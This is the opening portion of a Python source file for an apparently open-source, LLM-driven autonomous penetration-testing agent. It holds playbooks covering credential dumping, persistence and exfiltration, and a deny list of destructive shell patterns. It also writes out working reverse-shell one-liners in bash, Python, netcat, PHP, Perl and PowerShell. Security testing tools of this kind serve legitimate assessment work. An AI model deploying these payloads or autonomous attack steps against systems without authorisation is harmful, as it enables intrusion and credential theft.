-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathpentest_copilot.py
More file actions
5330 lines (4696 loc) · 213 KB
/
Copy pathpentest_copilot.py
File metadata and controls
5330 lines (4696 loc) · 213 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Autonomous Penetration Testing Copilot v2.5.0
AI-powered pentest agent that connects to an attack box (Kali/Parrot)
via SSH, runs security tools autonomously, analyses output, plans next
steps, and documents findings — all driven by an LLM agentic loop.
Maintains a persistent Pentest Task Tree (PTT) as externalized memory so the
agent stays oriented on long engagements even after chat history is trimmed.
Supports: Claude (Anthropic) and OpenAI-compatible LLMs.
Dependencies:
pip install anthropic paramiko # Claude + SSH
pip install openai paramiko # OpenAI + SSH
Usage:
# SSH to a remote Kali box
python pentest_copilot.py --target 10.0.0.1 \\
--ssh-host kali.local --ssh-user root --ssh-key ~/.ssh/id_rsa
# Run locally on a Kali machine
python pentest_copilot.py --target 10.0.0.1 --local
# Use OpenAI instead of Claude
python pentest_copilot.py --target 10.0.0.1 --local --provider openai
Copyright (c) 2025 — MIT License
"""
import argparse
import datetime
import html as html_mod
import json
import os
import re
import shlex
import signal
import subprocess
import sys
import textwrap
import time
import threading
import traceback
import getpass
import uuid
__version__ = "2.5.0"
VERSION = __version__
# ─── Optional dependency detection ───────────────────────────────────────
HAS_ANTHROPIC = False
HAS_OPENAI = False
HAS_PARAMIKO = False
try:
import anthropic
HAS_ANTHROPIC = True
except ImportError:
pass
try:
import openai
HAS_OPENAI = True
except ImportError:
pass
try:
import paramiko
HAS_PARAMIKO = True
except ImportError:
pass
# ═════════════════════════════════════════════════════════════════════════
# Constants
# ═════════════════════════════════════════════════════════════════════════
MAX_ITERATIONS = 25 # max tool-call loops per user turn
MAX_OUTPUT_CHARS = 15000 # truncate tool output to fit context
DEFAULT_TIMEOUT = 120 # seconds per command
MAX_HISTORY_MESSAGES = 60 # conversation history limit
# ─── Terminal colours ─────────────────────────────────────────────────────
R = "\033[0m"
B = "\033[1m"
DIM = "\033[2m"
RED = "\033[91m"
GRN = "\033[92m"
YEL = "\033[93m"
BLU = "\033[94m"
MAG = "\033[95m"
CYN = "\033[96m"
WHT = "\033[97m"
SEV_COLOR = {
"CRITICAL": RED, "HIGH": YEL, "MEDIUM": BLU,
"LOW": GRN, "INFO": WHT,
}
# ─── Dangerous command patterns ───────────────────────────────────────────
DANGEROUS_PATTERNS = [
r"rm\s+-[rR]f\s+/\s",
r"rm\s+-[rR]f\s+/\*",
r"mkfs\.",
r"dd\s+if=.*of=/dev/",
r":\(\)\s*\{", # fork bomb
r">\s*/dev/sd[a-z]",
r"chmod\s+-R\s+777\s+/\s",
r"\bshutdown\b",
r"\breboot\b",
r"\binit\s+[06]\b",
r"\bsystemctl\s+(poweroff|halt)\b",
r"iptables\s+-F", # flush all firewall rules
r"mv\s+/\s", # move root
]
# ─── Pentest tool registry ────────────────────────────────────────────────
TOOL_REGISTRY = {
"Reconnaissance": [
("nmap", "Network mapper — port scanning, service detection, OS fingerprinting"),
("masscan", "Fast TCP port scanner — scan entire internet in minutes"),
("subfinder", "Subdomain discovery using passive sources"),
("httpx", "HTTP toolkit — probing, tech detection, status codes"),
("whatweb", "Web technology fingerprinting"),
("amass", "Attack surface mapping and asset discovery"),
("theHarvester","OSINT — emails, subdomains, IPs from public sources"),
("dnsrecon", "DNS enumeration and zone transfer checks"),
("wafw00f", "WAF detection and fingerprinting"),
("whois", "Domain registration and ownership lookup"),
],
"Web Application": [
("nikto", "Web server scanner — misconfigurations, outdated software"),
("ffuf", "Fast web fuzzer — directory, parameter, vhost brute-forcing"),
("gobuster", "Directory and DNS brute-forcing"),
("dirsearch", "Web path scanner with recursive capability"),
("nuclei", "Template-based vulnerability scanner (10K+ templates)"),
("katana", "Web crawler with headless browser support"),
("wpscan", "WordPress vulnerability scanner"),
("sqlmap", "Automated SQL injection detection and exploitation"),
("dalfox", "XSS scanner with DOM analysis"),
("feroxbuster", "Recursive content discovery — fast and flexible"),
],
"Exploitation": [
("metasploit", "Exploitation framework — modules, payloads, post-exploitation"),
("searchsploit","Offline exploit database search (ExploitDB)"),
("ghauri", "Advanced SQL injection exploitation"),
("commix", "Automated command injection exploitation"),
("hydra", "Network login brute-forcer (SSH, FTP, HTTP, etc.)"),
("medusa", "Parallel network login auditor"),
("john", "Password cracking (John the Ripper)"),
("hashcat", "GPU-accelerated password recovery"),
("crackmapexec","Swiss army knife for AD/network pentesting"),
("impacket", "Python tools for network protocols (psexec, smbexec, etc.)"),
],
"Post-Exploitation": [
("linpeas", "Linux privilege escalation enumeration"),
("winpeas", "Windows privilege escalation enumeration"),
("pspy", "Unprivileged process snooping on Linux"),
("chisel", "TCP/UDP tunnel over HTTP with SSH-like transport"),
("ligolo-ng", "Tunneling and pivoting tool"),
("bloodhound", "Active Directory attack path mapping"),
("mimikatz", "Windows credential extraction"),
("evil-winrm", "WinRM shell with PowerShell and upload support"),
],
"Network & Wireless": [
("netcat", "TCP/UDP networking utility — reverse shells, port scanning"),
("socat", "Advanced relay for bidirectional data transfers"),
("tcpdump", "Network packet capture and analysis"),
("wireshark", "GUI network protocol analyser (tshark for CLI)"),
("responder", "LLMNR/NBT-NS/MDNS poisoner for credential capture"),
("bettercap", "Swiss army knife for network attacks (MITM, sniffing)"),
("aircrack-ng", "WiFi security auditing suite"),
],
"OSINT & Recon": [
("sherlock", "Hunt usernames across social networks"),
("recon-ng", "Full-featured OSINT reconnaissance framework"),
("spiderfoot", "Automated OSINT collection and analysis"),
("waybackurls", "Fetch URLs from the Wayback Machine"),
("gau", "Get All URLs from multiple sources"),
("photon", "Fast web crawler for OSINT data extraction"),
],
"Utilities": [
("curl", "HTTP client — API testing, file transfer"),
("wget", "File downloader with recursive capability"),
("jq", "Command-line JSON processor"),
("python3", "Python interpreter for custom scripts"),
("git", "Version control — clone exploit repos"),
("gcc", "C compiler — compile kernel exploits"),
("proxychains", "Force TCP connections through proxy (Tor/SOCKS)"),
],
}
# ═════════════════════════════════════════════════════════════════════════
# Finding
# ═════════════════════════════════════════════════════════════════════════
class Finding:
"""A security finding discovered during the penetration test."""
__slots__ = (
"id", "title", "severity", "category", "description",
"evidence", "recommendation", "cvss", "timestamp",
)
def __init__(self, title, severity, category, description,
evidence="", recommendation="", cvss=""):
self.id = str(uuid.uuid4())[:8]
self.title = title
self.severity = severity.upper()
self.category = category
self.description = description
self.evidence = evidence
self.recommendation = recommendation
self.cvss = cvss
self.timestamp = datetime.datetime.now().isoformat()
def to_dict(self):
return {s: getattr(self, s) for s in self.__slots__}
# ═════════════════════════════════════════════════════════════════════════
# Execution Engines
# ═════════════════════════════════════════════════════════════════════════
class SSHExecutor:
"""Execute commands on a remote attack box via SSH."""
def __init__(self, host, port=22, user="root",
password=None, key_path=None):
if not HAS_PARAMIKO:
raise ImportError(
"'paramiko' is required for SSH mode.\n"
" Install with: pip install paramiko"
)
self.host = host
self.port = port
self.user = user
self.password = password
self.key_path = key_path
self.client = None
def connect(self):
"""Establish SSH connection."""
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
kwargs = {
"hostname": self.host,
"port": self.port,
"username": self.user,
"timeout": 15,
}
if self.key_path:
kwargs["key_filename"] = os.path.expanduser(self.key_path)
elif self.password:
kwargs["password"] = self.password
self.client.connect(**kwargs)
_print_status(f"Connected to {self.user}@{self.host}:{self.port}")
def execute(self, command, timeout=DEFAULT_TIMEOUT):
"""Execute a command and return (exit_code, stdout, stderr)."""
if not self.client:
raise RuntimeError("SSH not connected")
try:
stdin, stdout, stderr = self.client.exec_command(
command, timeout=timeout,
)
exit_code = stdout.channel.recv_exit_status()
out = stdout.read().decode("utf-8", errors="replace")
err = stderr.read().decode("utf-8", errors="replace")
return exit_code, out, err
except Exception as e:
return -1, "", str(e)
def disconnect(self):
if self.client:
try:
self.client.close()
except Exception:
pass
self.client = None
@property
def label(self):
return f"{self.user}@{self.host}"
class LocalExecutor:
"""Execute commands on the local machine."""
def connect(self):
_print_status("Running in local mode (commands execute on this machine)")
def execute(self, command, timeout=DEFAULT_TIMEOUT):
"""Execute a command locally and return (exit_code, stdout, stderr)."""
try:
result = subprocess.run(
command, shell=True,
capture_output=True, text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
except subprocess.TimeoutExpired:
return -1, "", f"Command timed out after {timeout}s"
except Exception as e:
return -1, "", str(e)
def disconnect(self):
pass
@property
def label(self):
return "localhost"
# ═════════════════════════════════════════════════════════════════════════
# Credential Vault
# ═════════════════════════════════════════════════════════════════════════
class CredentialVault:
"""Store and manage discovered credentials during the pentest."""
def __init__(self):
self._creds: list = []
self._lock = threading.Lock()
def store(self, username, secret, cred_type="password",
target="", source="", notes=""):
"""Store a discovered credential."""
cred = {
"id": str(uuid.uuid4())[:8],
"username": username,
"secret": secret,
"type": cred_type, # password, hash, token, key, cookie
"target": target, # host/service where it was found
"source": source, # how it was obtained
"notes": notes,
"timestamp": datetime.datetime.now().isoformat(),
"used_count": 0,
}
with self._lock:
# Avoid exact duplicates
for existing in self._creds:
if (existing["username"] == username
and existing["secret"] == secret
and existing["target"] == target):
return existing
self._creds.append(cred)
return cred
def list_all(self):
with self._lock:
return list(self._creds)
def get_for_target(self, target):
"""Get credentials applicable to a specific target."""
with self._lock:
return [c for c in self._creds
if not c["target"] or target in c["target"]]
def mark_used(self, cred_id):
with self._lock:
for c in self._creds:
if c["id"] == cred_id:
c["used_count"] += 1
def to_list(self):
with self._lock:
return [dict(c) for c in self._creds]
def summary_for_prompt(self):
"""Build a summary string for the system prompt."""
with self._lock:
if not self._creds:
return " No credentials discovered yet."
lines = []
for c in self._creds:
masked = c["secret"][:3] + "***" if len(c["secret"]) > 3 else "***"
lines.append(
f" [{c['type']}] {c['username']}:{masked} "
f"@ {c['target'] or 'any'} (via {c['source'] or '?'})"
)
return "\n".join(lines)
# ═════════════════════════════════════════════════════════════════════════
# Multi-Shell Manager
# ═════════════════════════════════════════════════════════════════════════
class ShellManager:
"""Manage multiple named persistent shell sessions."""
def __init__(self, executor):
self.executor = executor
self._shells: dict = {} # name -> {"channel": ..., "buffer": ""}
self._lock = threading.Lock()
def open_shell(self, name):
"""Open a named persistent shell session."""
with self._lock:
if name in self._shells:
return f"Shell '{name}' already exists."
self._shells[name] = {
"created": datetime.datetime.now().isoformat(),
"command_count": 0,
"last_output": "",
}
return f"Shell '{name}' created."
def run_in_shell(self, name, command, timeout=DEFAULT_TIMEOUT):
"""Run a command in a named shell (uses the shared executor)."""
with self._lock:
if name not in self._shells:
return f"Shell '{name}' not found. Use open_shell first."
exit_code, stdout, stderr = self.executor.execute(command, timeout)
output = stdout
if stderr:
output += f"\n[STDERR]\n{stderr}"
with self._lock:
self._shells[name]["command_count"] += 1
self._shells[name]["last_output"] = output[:500]
return f"[Shell:{name}] Exit code: {exit_code}\n{truncate_output(output)}"
def close_shell(self, name):
with self._lock:
if name in self._shells:
del self._shells[name]
return f"Shell '{name}' closed."
return f"Shell '{name}' not found."
def list_shells(self):
with self._lock:
return dict(self._shells)
def summary_for_prompt(self):
with self._lock:
if not self._shells:
return " No named shells open."
lines = []
for name, info in self._shells.items():
lines.append(
f" [{name}] cmds: {info['command_count']} "
f"(opened: {info['created'][:19]})"
)
return "\n".join(lines)
# ═════════════════════════════════════════════════════════════════════════
# Subagent Manager
# ═════════════════════════════════════════════════════════════════════════
class SubagentManager:
"""Spawn and manage background subagents for parallel tasks."""
def __init__(self, provider, executor, findings, credential_vault,
auto_approve=False):
self.provider = provider
self.executor = executor
self.findings = findings
self.credential_vault = credential_vault
self.auto_approve = auto_approve
self._tasks: dict = {} # id -> {thread, status, result, task}
self._lock = threading.Lock()
def spawn(self, task_description, target, scope):
"""Spawn a background subagent to work on a specific task."""
task_id = str(uuid.uuid4())[:8]
task_info = {
"id": task_id,
"task": task_description,
"status": "running",
"result": "",
"findings_count": 0,
"commands_run": 0,
"started": datetime.datetime.now().isoformat(),
"finished": None,
}
def _run():
try:
result_lines = []
sub_messages = [{"role": "user", "content": task_description}]
sub_prompt = textwrap.dedent(f"""\
You are a subagent performing a SPECIFIC task as part of a
larger penetration test. Complete the task efficiently and
report findings.
TARGET: {target}
SCOPE: {scope}
YOUR TASK: {task_description}
RULES:
- Focus ONLY on the assigned task
- Use report_finding for every vulnerability you discover
- Be concise — report results, not process
- Maximum 10 iterations for this task
""")
for iteration in range(10):
try:
content_blocks, stop_reason = self.provider.call(
sub_messages, sub_prompt,
)
except Exception as e:
result_lines.append(f"LLM error: {e}")
break
sub_messages.append(
self.provider.format_assistant_message(content_blocks)
)
text = self.provider.extract_text(content_blocks)
tool_calls = self.provider.extract_tool_calls(content_blocks)
if text:
result_lines.append(text)
if not tool_calls or stop_reason != "tool_use":
break
for tc in tool_calls:
result = self._handle_subtool(tc["name"], tc["input"],
task_info)
sub_messages.append(
self.provider.format_tool_result(tc["id"], result)
)
with self._lock:
task_info["status"] = "completed"
task_info["result"] = "\n".join(result_lines)
task_info["finished"] = datetime.datetime.now().isoformat()
except Exception as e:
with self._lock:
task_info["status"] = "error"
task_info["result"] = str(e)
task_info["finished"] = datetime.datetime.now().isoformat()
thread = threading.Thread(target=_run, daemon=True)
with self._lock:
self._tasks[task_id] = task_info
thread.start()
print(f"\n {BLU}{B}[SUBAGENT]{R} Spawned {BLU}{task_id}{R}: {task_description[:60]}")
return task_id
def _handle_subtool(self, name, args, task_info):
"""Handle tool calls from subagents (subset of main tools)."""
task_info["commands_run"] += 1
if name == "run_command":
return handle_run_command(self.executor, args, self.auto_approve)
elif name == "install_tool":
return handle_install_tool(self.executor, args)
elif name == "read_file":
return handle_read_file(self.executor, args)
elif name == "report_finding":
task_info["findings_count"] += 1
return handle_report_finding(self.findings, args)
elif name == "store_credential":
return handle_store_credential(self.credential_vault, args)
else:
return f"Tool '{name}' not available in subagent context."
def get_status(self, task_id=None):
with self._lock:
if task_id:
return self._tasks.get(task_id)
return dict(self._tasks)
def get_completed_results(self):
"""Get results from all completed subagents and clear them."""
with self._lock:
completed = {
tid: info for tid, info in self._tasks.items()
if info["status"] in ("completed", "error")
}
for tid in completed:
self._tasks[tid]["status"] = "reported"
return completed
def summary_for_prompt(self):
with self._lock:
if not self._tasks:
return " No subagents."
lines = []
for tid, info in self._tasks.items():
lines.append(
f" [{tid}] {info['status']} — {info['task'][:50]} "
f"(cmds: {info['commands_run']}, "
f"findings: {info['findings_count']})"
)
return "\n".join(lines)
# ═════════════════════════════════════════════════════════════════════════
# Methodology Playbooks
# ═════════════════════════════════════════════════════════════════════════
PLAYBOOKS = {
"webapp": {
"name": "Web Application Pentest",
"prompt": textwrap.dedent("""\
Execute a structured web application penetration test:
PHASE 1 — RECONNAISSANCE
- Run nmap to discover web ports (80, 443, 8080, 8443)
- Use whatweb/httpx for technology fingerprinting
- Check for WAF with wafw00f
- Crawl with katana to map the application
PHASE 2 — CONTENT DISCOVERY
- Use ffuf/gobuster for directory brute-forcing
- Check robots.txt, sitemap.xml, .git exposure
- Enumerate API endpoints
PHASE 3 — VULNERABILITY SCANNING
- Run nikto for server-level issues
- Run nuclei with web-specific templates
- Test for SQL injection (sqlmap on forms/params)
- Test for XSS (dalfox on reflected params)
- Test for SSRF, LFI, RFI, IDOR
- Check authentication and session management
PHASE 4 — EXPLOITATION
- Exploit confirmed vulnerabilities
- Attempt privilege escalation if authenticated
- Test for business logic flaws
PHASE 5 — REPORT
- Summarize all findings with report_finding
- Use spawn_subagent for parallel tasks where possible
- Store any discovered credentials with store_credential
"""),
},
"network": {
"name": "Network Penetration Test",
"prompt": textwrap.dedent("""\
Execute a structured network penetration test:
PHASE 1 — HOST DISCOVERY
- Use nmap ping sweep to discover live hosts
- Use masscan for fast port discovery across the range
PHASE 2 — SERVICE ENUMERATION
- Full port scan with service version detection (nmap -sV)
- OS fingerprinting (nmap -O)
- Banner grabbing on interesting ports
- Check for default credentials on services
PHASE 3 — VULNERABILITY ASSESSMENT
- Run nmap NSE vulnerability scripts
- Run nuclei network templates
- Check for known CVEs on discovered service versions
- Test SMB (enum4linux, smbclient), SNMP, LDAP, RDP
- Test for anonymous FTP, open NFS shares
PHASE 4 — EXPLOITATION
- Attempt exploitation of confirmed vulnerabilities
- Brute-force weak services (hydra/medusa)
- Try credential reuse from vault across services
PHASE 5 — POST-EXPLOITATION
- Run linpeas/winpeas for privilege escalation
- Check for lateral movement opportunities
- Dump credentials, check for pivoting paths
"""),
},
"api": {
"name": "API Security Assessment",
"prompt": textwrap.dedent("""\
Execute a structured API penetration test:
PHASE 1 — API DISCOVERY
- Enumerate API endpoints via crawling, documentation
- Check /swagger, /api-docs, /openapi.json, /graphql
- Identify authentication mechanisms (JWT, OAuth, API keys)
PHASE 2 — AUTHENTICATION TESTING
- Test for broken authentication (BOLA, BFLA)
- Test JWT weaknesses (none algo, weak secret, expiry)
- Check for API key exposure in responses/headers
PHASE 3 — INPUT VALIDATION
- Test for SQL injection on all parameters
- Test for command injection, SSRF
- Test for mass assignment / excessive data exposure
- Test rate limiting and resource consumption
PHASE 4 — BUSINESS LOGIC
- Test for IDOR on resource IDs
- Test for privilege escalation (horizontal + vertical)
- Test for race conditions
PHASE 5 — REPORT
- Map findings to OWASP API Security Top 10
"""),
},
"ad": {
"name": "Active Directory Assessment",
"prompt": textwrap.dedent("""\
Execute a structured Active Directory penetration test:
PHASE 1 — RECONNAISSANCE
- Enumerate domain controllers, domain name
- LDAP enumeration (ldapsearch/ldapdomaindump)
- SMB enumeration (enum4linux, crackmapexec)
- Kerberos user enumeration (kerbrute)
PHASE 2 — CREDENTIAL ATTACKS
- AS-REP Roasting (GetNPUsers.py)
- Kerberoasting (GetUserSPNs.py)
- Password spraying (crackmapexec)
- LLMNR/NBT-NS poisoning (responder)
PHASE 3 — LATERAL MOVEMENT
- Pass-the-Hash, Pass-the-Ticket
- PSExec, WMIExec, SMBExec (impacket)
- Evil-WinRM for WinRM targets
- Credential reuse from vault
PHASE 4 — PRIVILEGE ESCALATION
- BloodHound analysis for attack paths
- ACL abuse, delegation attacks
- DCSync, Golden/Silver ticket attacks
PHASE 5 — DOMAIN DOMINANCE
- Extract NTDS.dit
- Establish persistence
- Document all attack paths
"""),
},
"cloud": {
"name": "Cloud Security Assessment",
"prompt": textwrap.dedent("""\
Execute a structured cloud penetration test:
PHASE 1 — RECONNAISSANCE
- Identify cloud provider (AWS/Azure/GCP metadata endpoints)
- Enumerate S3 buckets, blob storage, GCS buckets
- Check for exposed cloud credentials in source code
PHASE 2 — IDENTITY & ACCESS
- Enumerate IAM roles, policies, permissions
- Check for overly permissive policies
- Test for SSRF to metadata service (169.254.169.254)
- Check for IMDSv1 (no hop limit)
PHASE 3 — SERVICES
- Test exposed databases (RDS, CosmosDB, Cloud SQL)
- Check serverless function configurations
- Test container/K8s misconfigurations
- Check for public snapshots/AMIs
PHASE 4 — DATA EXFILTRATION
- Test for data access via misconfigured storage
- Check for cross-account access
- Test VPC/network segmentation
PHASE 5 — REPORT
- Map findings to cloud security frameworks
"""),
},
}
# ═════════════════════════════════════════════════════════════════════════
# Tool Auto-Detection
# ═════════════════════════════════════════════════════════════════════════
class ToolDetector:
"""Detect installed pentest tools on the attack box and auto-install."""
def __init__(self, executor):
self.executor = executor
self._cache: dict = {} # tool_name -> bool (installed)
self._lock = threading.Lock()
def check_tool(self, tool_name):
"""Check if a tool is installed. Returns True/False."""
with self._lock:
if tool_name in self._cache:
return self._cache[tool_name]
exit_code, _, _ = self.executor.execute(
f"which {shlex.quote(tool_name)} 2>/dev/null || "
f"command -v {shlex.quote(tool_name)} 2>/dev/null",
timeout=10,
)
installed = exit_code == 0
with self._lock:
self._cache[tool_name] = installed
return installed
def scan_all(self):
"""Scan all tools in the registry and return status dict."""
results = {}
for cat, tools in TOOL_REGISTRY.items():
for name, _ in tools:
results[name] = self.check_tool(name)
with self._lock:
self._cache.update(results)
return results
def get_missing(self, tool_list):
"""Return list of tools from tool_list that are NOT installed."""
return [t for t in tool_list if not self.check_tool(t)]
def invalidate(self, tool_name=None):
"""Clear cache for a tool (or all tools)."""
with self._lock:
if tool_name:
self._cache.pop(tool_name, None)
else:
self._cache.clear()
def summary(self):
"""Return a summary of installed vs missing tools."""
with self._lock:
installed = sum(1 for v in self._cache.values() if v)
total = len(self._cache)
return f"{installed}/{total} tools installed" if total else "Not scanned yet"
# ═════════════════════════════════════════════════════════════════════════
# Exploit Search Engine
# ═════════════════════════════════════════════════════════════════════════
class ExploitSearcher:
"""Search for exploits using searchsploit and CVE patterns."""
def __init__(self, executor):
self.executor = executor
def search_exploitdb(self, query):
"""Search ExploitDB via searchsploit."""
exit_code, stdout, stderr = self.executor.execute(
f"searchsploit --color --json {shlex.quote(query)} 2>/dev/null "
f"|| searchsploit {shlex.quote(query)} 2>/dev/null",
timeout=30,
)
if exit_code != 0 and "not found" in stderr.lower():
return ("searchsploit is not installed. Install with: "
"apt install exploitdb")
return truncate_output(stdout or stderr)
def search_nmap_vulns(self, target, ports=""):
"""Run nmap vulnerability scripts against a target."""
port_flag = f"-p {ports}" if ports else ""
exit_code, stdout, stderr = self.executor.execute(
f"nmap --script vuln {port_flag} {shlex.quote(target)}",
timeout=300,
)
return truncate_output(stdout or stderr)
def search_nuclei_cves(self, target):
"""Run nuclei CVE templates against a target."""
exit_code, stdout, stderr = self.executor.execute(
f"nuclei -u {shlex.quote(target)} -t cves/ -silent -nc",
timeout=600,
)
if exit_code != 0 and "not found" in (stderr or "").lower():
return "nuclei is not installed. Install with: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
return truncate_output(stdout or stderr or "No CVEs found.")
# ═════════════════════════════════════════════════════════════════════════
# Reverse Shell Handler
# ═════════════════════════════════════════════════════════════════════════
class ReverseShellHandler:
"""Manage reverse shell listeners on the attack box."""
def __init__(self, executor):
self.executor = executor
self._listeners: dict = {} # name -> {port, pid, proto}
self._lock = threading.Lock()
def start_listener(self, name, port, proto="tcp"):
"""Start a netcat listener in the background."""
with self._lock:
if name in self._listeners:
return f"Listener '{name}' already exists on port {self._listeners[name]['port']}."
if proto == "tcp":
cmd = f"nohup nc -nlvp {port} > /tmp/listener_{name}.log 2>&1 & echo $!"
else:
cmd = f"nohup nc -nlvup {port} > /tmp/listener_{name}.log 2>&1 & echo $!"
exit_code, stdout, stderr = self.executor.execute(cmd, timeout=10)
pid = stdout.strip().split("\n")[-1].strip()
with self._lock:
self._listeners[name] = {
"port": port,
"pid": pid,
"proto": proto,
"started": datetime.datetime.now().isoformat(),
"log_file": f"/tmp/listener_{name}.log",
}
return (f"Listener '{name}' started on {proto.upper()}:{port} "
f"(PID: {pid}, log: /tmp/listener_{name}.log)")
def stop_listener(self, name):
"""Stop a running listener."""
with self._lock:
info = self._listeners.pop(name, None)
if not info:
return f"Listener '{name}' not found."
self.executor.execute(f"kill {info['pid']} 2>/dev/null", timeout=5)
return f"Listener '{name}' stopped (was on port {info['port']})."
def check_listener(self, name):
"""Check if a listener caught a connection."""
with self._lock:
info = self._listeners.get(name)
if not info:
return f"Listener '{name}' not found."
exit_code, stdout, _ = self.executor.execute(
f"cat {info['log_file']} 2>/dev/null", timeout=10,
)
return f"[Listener:{name} port:{info['port']}]\n{truncate_output(stdout)}"
def list_listeners(self):
with self._lock:
return dict(self._listeners)
def generate_payloads(self, lhost, lport):
"""Generate common reverse shell one-liners."""
payloads = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"python": (
f"python3 -c 'import socket,subprocess,os;"
f"s=socket.socket();s.connect((\"{lhost}\",{lport}));"
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
f"os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
),
"nc": f"nc -e /bin/sh {lhost} {lport}",
"nc_mkfifo": (
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|"
f"nc {lhost} {lport} >/tmp/f"
),
"php": (
f"php -r '$s=fsockopen(\"{lhost}\",{lport});"
f"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
),
"perl": (
f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};"
f"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
f"connect(S,sockaddr_in($p,inet_aton($i)));"
f"open(STDIN,\">&S\");open(STDOUT,\">&S\");"
f"open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"
),
"powershell": (
f"powershell -nop -c \"$c=New-Object System.Net.Sockets.TCPClient"
f"('{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|"
f"%{{0}};while(($i=$s.Read($b,0,$b.Length))-ne 0)"
f"{{$d=(New-Object -TypeName System.Text.ASCIIEncoding)"
f".GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);"
f"$r2=$r+'PS '+(pwd).Path+'> ';"
f"$sb=([text.encoding]::ASCII).GetBytes($r2);"
f"$s.Write($sb,0,$sb.Length);$s.Flush()}};$c.Close()\""
),
}
return payloads
def summary_for_prompt(self):
with self._lock:
if not self._listeners:
return " No active listeners."
lines = []
for name, info in self._listeners.items():
lines.append(
f" [{name}] {info['proto'].upper()}:{info['port']} "
f"PID:{info['pid']}"
)
return "\n".join(lines)
# ═════════════════════════════════════════════════════════════════════════
# Phalanx Cyber Integration
# ═════════════════════════════════════════════════════════════════════════
PHALANX_SCANNERS = {
"sast_java": {
"name": "Java SAST Scanner",
"command": "python3 java_scanner.py {target} --json /tmp/phalanx_java.json",